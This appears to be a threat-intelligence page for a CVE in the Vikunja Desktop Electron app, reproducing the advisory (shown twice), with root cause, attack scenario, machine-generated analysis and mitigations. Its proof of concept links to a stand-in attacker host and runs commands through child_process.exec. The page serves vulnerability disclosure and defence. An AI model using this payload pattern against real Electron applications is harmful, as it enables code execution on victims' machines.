CVE-2026-33336: CWE-94: Improper Control of Generation of Code ('Code Injection') in go-vikunja vikunja
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue. ## Root cause Two misconfigurations combine to create this vulnerability: 1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.). 2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by: - `<a href="https://...">` links (without `target="_blank"`) - `window.location` assignments - HTTP redirects - `<meta http-equiv="refresh">` tags ## Attack scenario 1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>` 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output. 4. The victim uses Vikunja Desktop and clicks the link. 5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process. 6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');` 7. Arbitrary commands execute as the victim's OS user. ## Impact Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient. ## Proof of concept 1. Set up a Vikunja instance with two users sharing a project. 2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>` 4. As the victim, open the project in Vikunja Desktop and click the link. 5. calc.exe (or any other command) executes on the victim's machine. ## Credits This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).
AI Analysis
Technical Summary
CVE-2026-33336 is a critical security vulnerability in the Vikunja Desktop Electron wrapper affecting versions >=0.21.0 and <2.2.0. The root cause lies in two misconfigurations: first, the Electron BrowserWindow is created with nodeIntegration set to true, granting any loaded page full access to Node.js APIs such as 'require', 'child_process', and 'fs'. Second, the application does not implement a 'will-navigate' or 'will-redirect' event handler on the webContents, which means same-window navigations triggered by user clicks on links or redirects are not intercepted or blocked. Attackers with normal user privileges on the same Vikunja instance can insert sanitized but malicious hyperlinks into user-generated content like task descriptions or project descriptions. When a victim clicks such a link in the Vikunja Desktop app, the BrowserWindow navigates to the attacker-controlled URL within the same renderer process. Because nodeIntegration is enabled, the attacker's page executes JavaScript with full Node.js privileges, allowing arbitrary command execution on the victim's OS user context. This can lead to reading/writing arbitrary files, installing malware, exfiltrating credentials, and full system compromise. The vulnerability does not require traditional cross-site scripting since the link is a legitimate anchor tag allowed by DOMPurify sanitization. The issue is fixed in Vikunja Desktop version 2.2.0 by disabling nodeIntegration or restricting navigation. The CVSS 4.0 vector (AV:N/AC:L/AT:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H) indicates network attack vector, low complexity, no privileges or authentication required, user interaction needed, and high scope impact on confidentiality, integrity, and availability.
Potential Impact
This vulnerability enables full remote code execution on the victim's desktop via a seemingly benign hyperlink in user-generated content. The attacker can execute arbitrary OS commands with the victim user's privileges, leading to potential data theft, malware installation, persistence mechanisms, lateral movement, and complete system compromise. Since Vikunja is a task management platform often used in collaborative environments, attackers can leverage normal membership to escalate attacks against other users. The impact extends beyond confidentiality breaches to integrity and availability, as attackers can modify or delete files, disrupt workflows, or deploy ransomware. The ease of exploitation—requiring only a user click on a sanitized link—makes this a high-risk threat for organizations relying on Vikunja Desktop. The lack of known exploits in the wild currently limits immediate widespread impact, but the vulnerability’s presence in open-source software with growing adoption poses a significant future risk if unpatched.
Mitigation Recommendations
1. Upgrade Vikunja Desktop to version 2.2.0 or later, where nodeIntegration is disabled or navigation restrictions are implemented. 2. If upgrading is not immediately possible, disable nodeIntegration manually in the Electron BrowserWindow configuration to prevent Node.js API access from renderer processes. 3. Implement 'will-navigate' and 'will-redirect' event handlers in the Electron app to intercept and block or validate all navigation attempts, especially same-window navigations triggered by user clicks or redirects. 4. Restrict or sanitize user-generated content to disallow or neutralize clickable links that could lead to external origins. 5. Educate users to avoid clicking suspicious links within the application, especially from untrusted collaborators. 6. Employ endpoint protection solutions capable of detecting anomalous process executions initiated by Electron apps. 7. Monitor network traffic for unexpected connections to external domains originating from Vikunja Desktop. 8. Consider sandboxing or running Vikunja Desktop in restricted environments to limit damage from potential exploitation.
Affected Countries
United States, Germany, United Kingdom, France, Canada, Australia, Netherlands, Sweden, Japan, South Korea
CVE-2026-33336: CWE-94: Improper Control of Generation of Code ('Code Injection') in go-vikunja vikunja
Description
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue. ## Root cause Two misconfigurations combine to create this vulnerability: 1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.). 2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by: - `<a href="https://...">` links (without `target="_blank"`) - `window.location` assignments - HTTP redirects - `<meta http-equiv="refresh">` tags ## Attack scenario 1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>` 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output. 4. The victim uses Vikunja Desktop and clicks the link. 5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process. 6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');` 7. Arbitrary commands execute as the victim's OS user. ## Impact Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient. ## Proof of concept 1. Set up a Vikunja instance with two users sharing a project. 2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>` 4. As the victim, open the project in Vikunja Desktop and click the link. 5. calc.exe (or any other command) executes on the victim's machine. ## Credits This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2026-33336 is a critical security vulnerability in the Vikunja Desktop Electron wrapper affecting versions >=0.21.0 and <2.2.0. The root cause lies in two misconfigurations: first, the Electron BrowserWindow is created with nodeIntegration set to true, granting any loaded page full access to Node.js APIs such as 'require', 'child_process', and 'fs'. Second, the application does not implement a 'will-navigate' or 'will-redirect' event handler on the webContents, which means same-window navigations triggered by user clicks on links or redirects are not intercepted or blocked. Attackers with normal user privileges on the same Vikunja instance can insert sanitized but malicious hyperlinks into user-generated content like task descriptions or project descriptions. When a victim clicks such a link in the Vikunja Desktop app, the BrowserWindow navigates to the attacker-controlled URL within the same renderer process. Because nodeIntegration is enabled, the attacker's page executes JavaScript with full Node.js privileges, allowing arbitrary command execution on the victim's OS user context. This can lead to reading/writing arbitrary files, installing malware, exfiltrating credentials, and full system compromise. The vulnerability does not require traditional cross-site scripting since the link is a legitimate anchor tag allowed by DOMPurify sanitization. The issue is fixed in Vikunja Desktop version 2.2.0 by disabling nodeIntegration or restricting navigation. The CVSS 4.0 vector (AV:N/AC:L/AT:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H) indicates network attack vector, low complexity, no privileges or authentication required, user interaction needed, and high scope impact on confidentiality, integrity, and availability.
Potential Impact
This vulnerability enables full remote code execution on the victim's desktop via a seemingly benign hyperlink in user-generated content. The attacker can execute arbitrary OS commands with the victim user's privileges, leading to potential data theft, malware installation, persistence mechanisms, lateral movement, and complete system compromise. Since Vikunja is a task management platform often used in collaborative environments, attackers can leverage normal membership to escalate attacks against other users. The impact extends beyond confidentiality breaches to integrity and availability, as attackers can modify or delete files, disrupt workflows, or deploy ransomware. The ease of exploitation—requiring only a user click on a sanitized link—makes this a high-risk threat for organizations relying on Vikunja Desktop. The lack of known exploits in the wild currently limits immediate widespread impact, but the vulnerability’s presence in open-source software with growing adoption poses a significant future risk if unpatched.
Mitigation Recommendations
1. Upgrade Vikunja Desktop to version 2.2.0 or later, where nodeIntegration is disabled or navigation restrictions are implemented. 2. If upgrading is not immediately possible, disable nodeIntegration manually in the Electron BrowserWindow configuration to prevent Node.js API access from renderer processes. 3. Implement 'will-navigate' and 'will-redirect' event handlers in the Electron app to intercept and block or validate all navigation attempts, especially same-window navigations triggered by user clicks or redirects. 4. Restrict or sanitize user-generated content to disallow or neutralize clickable links that could lead to external origins. 5. Educate users to avoid clicking suspicious links within the application, especially from untrusted collaborators. 6. Employ endpoint protection solutions capable of detecting anomalous process executions initiated by Electron apps. 7. Monitor network traffic for unexpected connections to external domains originating from Vikunja Desktop. 8. Consider sandboxing or running Vikunja Desktop in restricted environments to limit damage from potential exploitation.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- GitHub_M
- Date Reserved
- 2026-03-18T22:15:11.812Z
- Cvss Version
- 4.0
- State
- PUBLISHED
Threat ID: 69c2b1b2f4197a8e3b48d1a9
Added to database: 3/24/2026, 3:45:54 PM
Last enriched: 3/24/2026, 4:06:38 PM
Last updated: 3/26/2026, 5:28:57 AM
Views: 6
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.